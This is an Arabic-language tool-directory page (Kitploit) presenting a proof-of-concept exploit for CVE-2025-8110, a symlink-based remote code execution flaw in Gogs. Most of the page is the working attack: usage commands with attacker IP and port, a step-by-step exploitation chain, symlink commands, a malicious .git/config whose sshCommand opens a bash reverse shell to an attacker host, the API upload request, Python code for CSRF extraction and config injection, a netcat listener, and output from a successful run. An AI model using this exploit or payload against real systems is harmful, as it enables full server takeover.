Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-8110 — استغلال PoC للثغرة CVE-2025-8110 | Kitploit
أدوات/GitHubGitHub/joaquinrrr/cve-2025-8110
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

استغلال PoC للثغرة CVE-2025-8110

عرض المستودع
510منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-8110

تنفيذ التعليمات البرمجية عن بُعد عبر الروابط الرمزية لمستودع Gogs

من إعداد oguiii


جدول المحتويات

  • نظرة عامة
  • الميزات
  • المتطلبات
  • التثبيت
  • الاستخدام
  • سير عمل الاستغلال
  • تحليل فني
  • عرض إثبات المفهوم
  • الإصدارات المتأثرة
  • التخفيف
  • الكشف
  • إخلاء المسؤولية
  • الترخيص

نظرة عامة

CVE-2025-8110 هي ثغرة أمنية خطيرة في Gogs تسمح للمهاجمين الموثقين بتنفيذ تعليمات برمجية عن بُعد من خلال التلاعب بالروابط الرمزية للمستودع. يوضح إثبات المفهوم هذا سلسلة الاستغلال الكاملة، من المصادقة إلى الحصول على شل عكسي.

توجد الثغرة لأن Gogs يتبع الروابط الرمزية عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به، مما يسمح للمهاجم بقراءة وتعديل الملفات الحساسة مثل .git/config. عن طريق حقن توجيه sshCommand ضار، يمكن تنفيذ أوامر نظام عشوائية بصلاحيات حساب خدمة Gogs.

درجة CVSS: 7.2 (عالية)
متجه الهجوم: شبكة
المصادقة مطلوبة: نعم
تفاعل المستخدم: لا
التأثير: اختراق كامل للنظام


الميزات

  • استخراج رمز CSRF تلقائي مع طرق بديلة متعددة
  • إدارة الجلسات ومعالجة المصادقة
  • إنشاء مستودع تلقائي بمعاملات قابلة للتخصيص
  • سير عمل استغلال قائم على الروابط الرمزية
  • توليد حمولة الشل العكسي
  • دعم الوكيل (Proxy) لتصحيح الأخطاء والتحليل
  • تسجيل مفصل ومعالجة الأخطاء
  • إخراج وحدة التحكم ملون لتحسين القراءة
  • وضع التصفح المفصل لاستكشاف الأخطاء

المتطلبات

متطلبات النظام

  • Python 3.6 أو أعلى
  • Git مثبت ويمكن الوصول إليه في PATH
  • وصول شبكي إلى نسخة Gogs الهدف

تبعيات Python

requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

التثبيت

الاستنساخ والإعداد

git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

هيكل المشروع

CVE-2025-8110/
├── CVE-2025-8110.py    # البرنامج الرئيسي للاستغلال
├── requirements.txt    # تبعيات Python
└── README.md          # التوثيق

الاستخدام

خيارات سطر الأوامر

الخيارالوصفمطلوب
-u, --urlرابط Gogs الأساسي (مثل https://gogs.example.com)نعم
-lh, --hostعنوان IP الخاص بالمهاجم للشل العكسينعم
-lp, --portمنفذ المهاجم للشل العكسينعم
-U, --usernameاسم مستخدم Gogsنعم
-P, --passwordكلمة مرور Gogsنعم
-x, --proxyتفعيل الوكيل (localhost:8080)لا
-v, --verboseتفعيل الإخراج المفصللا

الاستخدام الأساسي

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

مع الوكيل لتصحيح الأخطاء

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

وضع التصفح المفصل لاستكشاف الأخطاء

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

سير عمل الاستغلال

┌─────────────────────────────────────────────────────────────────────────────┐
│                    سلسلة استغلال CVE-2025-8110                            │
└─────────────────────────────────────────────────────────────────────────────┘

الخطوة 1: المصادقة
├── الانتقال إلى /user/login
├── استخراج رمز CSRF من صفحة تسجيل الدخول
├── إرسال بيانات الاعتماد مع رمز CSRF
└── إنشاء جلسة موثقة

الخطوة 2: توليد رمز التطبيق
├── الانتقال إلى /user/settings/applications
├── استخراج رمز CSRF من صفحة الإعدادات
├── إنشاء رمز تطبيق جديد
└── استخراج الرمز من الرد

الخطوة 3: إنشاء مستودع ضار
├── إنشاء مستودع عبر الـ API مع auto_init
├── توليد اسم مستودع عشوائي
└── الحصول على رابط المستودع

الخطوة 4: رفع الرابط الرمزي
├── استنساخ المستودع محلياً
├── إنشاء رابط رمزي يشير إلى .git/config
├── إضافة ودمج ودفع التغييرات
└── تأكيد نجاح الرفع

الخطوة 5: استغلال RCE
├── إنشاء .git/config ضار مع sshCommand
├── تشفير محتوى الإعدادات بـ Base64
├── رفع عبر الـ API إلى الهدف الرمزي
└── تشغيل الأمر

الخطوة 6: الشل العكسي
├── إنشاء اتصال بمضيف المهاجم
├── الوصول إلى شل تفاعلي
└── تنفيذ الأوامر على الهدف

تحليل فني

السبب الجذري للثغرة

يفشل Gogs في تنقية تنقل الروابط الرمزية بشكل صحيح عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به. عندما يتم الوصول إلى ملف عبر نقطة نهاية API، يتبع Gogs الروابط الرمزية دون تحقق، مما يسمح بالوصول إلى ملفات حساسة خارج دليل المستودع.

تفاصيل متجه الهجوم

  1. إنشاء الرابط الرمزي

    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "إضافة رابط رمزي"
    git push origin master
    
  2. الإعدادات الضارة

    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. استغلال الـ API

    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "استغلال CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

تحليل الشفرات البرمجية

استخراج رمز CSRF

def extract_csrf(html_text):
    """استخراج رمز CSRF من حقل الإدخال المخفي مع طرق بديلة متعددة."""
    # الطريقة 1: حقل إدخال باسم _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # الطريقة 2: حقل إدخال باسم csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # الطريقة 3: وسم (meta) مع CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # الطريقة 4: نمط regex في وسم script
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # الطريقة 5: regex لحقل الإدخال المخفي
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("لم يتم العثور على رمز CSRF في رد النموذج")

حقن الإعدادات الضارة

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

عرض إثبات المفهوم

إعداد الهجوم

# جهاز المهاجم (10.10.14.15)
nc -lvnp 4444
يستمع على [0.0.0.0] (العائلة 0, المنفذ 4444)

# تنفيذ الاستغلال
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

إخراج الاستغلال الناجح

[INFO] بدء استغلال CVE-2025-8110
[INFO] الرابط الهدف: https://gogs.internal.local
[INFO] مضيف المهاجم: 10.10.14.15:4444
[INFO] اسم المستخدم: admin

[INFO] جاري المصادقة على Gogs...
[INFO] تم العثور على رمز CSRF لتسجيل الدخول: abc123def456...
[SUCCESS] تمت المصادقة بنجاح

[INFO] جاري استرداد رمز التطبيق...
[INFO] تم العثور على رمز CSRF للإعدادات: xyz789uvw012...
[SUCCESS] رمز التطبيق: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] جاري إنشاء مستودع ضار...
[SUCCESS] تم إنشاء المستودع: 6f7e8d9c0a1b

[INFO] جاري رفع الرابط الرمزي الضار...
[INFO] جاري استنساخ المستودع...
[INFO] إنشاء رابط رمزي: malicious_link -> .git/config
[INFO] جاري الإضافة والدمج والدفع...
[SUCCESS] تم رفع الرابط الرمزي بنجاح

[INFO] جاري إرسال حمولة الاستغلال...
[SUCCESS] تم إرسال الاستغلال، تحقق من المستمع الخاص بك!
تنزيل الأداة